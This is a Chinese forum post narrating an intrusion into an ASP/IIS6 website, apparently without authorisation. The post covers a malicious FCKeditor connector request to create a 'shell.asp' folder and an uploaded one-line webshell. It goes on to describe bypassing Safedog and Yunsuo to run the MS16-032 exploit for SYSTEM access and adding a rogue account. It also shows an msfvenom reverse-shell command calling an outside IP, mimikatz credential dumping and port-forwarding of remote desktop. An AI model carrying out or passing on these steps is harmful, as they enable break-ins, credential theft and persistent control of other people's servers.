从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器

admin · 发表于 2018-10-20 20:31:43

d% j% p& A( Z7 I' r7 [8 m& v

; ]8 x7 i2 w [4 n2 b$ }
& [# | R( ]6 J: n" u5 E 一、利用getwebshell篇
! l1 I& B$ G1 d6 x
) f- |- a0 e% s% g4 m7 O首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
% j2 r6 i8 h. f/ ] s1 d# B* W
1 S: k0 o( j* b3 J+ I& d- J( k" o
q! O) A2 F+ `: v1 k' M 下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
0 F: H" n4 Q n! J3 ?. B0 Y
6 f! W! }" y) ?9 e# `下面我们构造一个asp目录，如： ( R/ z1 f# f& B7 i: U

0 W' y4 M' z& }* W0 u5 C- E$ _ http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 1 J: {* x/ C& z6 Z" F+ ~ A

. o* E$ }% U' |; Y1 X. h( e7 I( o 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
# H1 ?( s" J' b2 L
8 M% c! l& V% s3 }$ ^6 Y2 b- T 一、绕过安全狗云锁提权并且加账号
- T) P$ r* h9 g' \+ I
2 B0 J5 u8 U1 q# @% e 没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
& L% c1 a* x& e, q9 j
]; w9 y3 T# g如图：
|9 r; O5 G' A+ i5 T
d1 p5 ^1 a, R9 P, }6 E; h然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
0 e" ~/ q u+ C/ h1 u5 I$ ^
# I. L1 R' z% m: M一、利用metasploit
& x$ O5 J3 w+ {, b
1 T3 {# ]- e2 M5 B5 w% i. c首先用pentestbox生成一个64位的payload如下命令
; g: w3 u- _( H# q/ u) B
/ i/ B( r+ N# h msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
! y0 V; \4 S# ~; p$ D1 i. \
7 D9 k. P9 G2 F为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
3 ^' H7 o2 K, i0 k4 k/ x: p0 t
; C7 l1 ~6 w1 [9 o/ b! \2 n# C 下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
* u( p, ~6 ?% M) b' V
$ x7 m% ~2 I2 {; [; w6 K( h 下面我们来做一个监听如下命令：
; J l5 G6 v1 Q
& ^) D5 ?4 W: \ ~3 T' Z portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
! \ M, \" @: A# M' ~+ Y2 `" j 2 V# o% k& @. h" h9 e, q- m

. a# _1 W+ m7 N: t/ R) U7 b
( w# Y% x9 V; W' A Z) X# t9 z
: C/ X4 |% F& [9 n! I3 E* K ! J6 N! g- a" x; `* h4 h

: e O' x# `* r0 W' t5 F
( F" ?# f- }0 I2 R! i

匿名 *发表于 2021-11-20 23:30:06* · 发表于 2021-11-20 23:30:06

图片怎么都没了

		自动登录	找回密码
密码			立即注册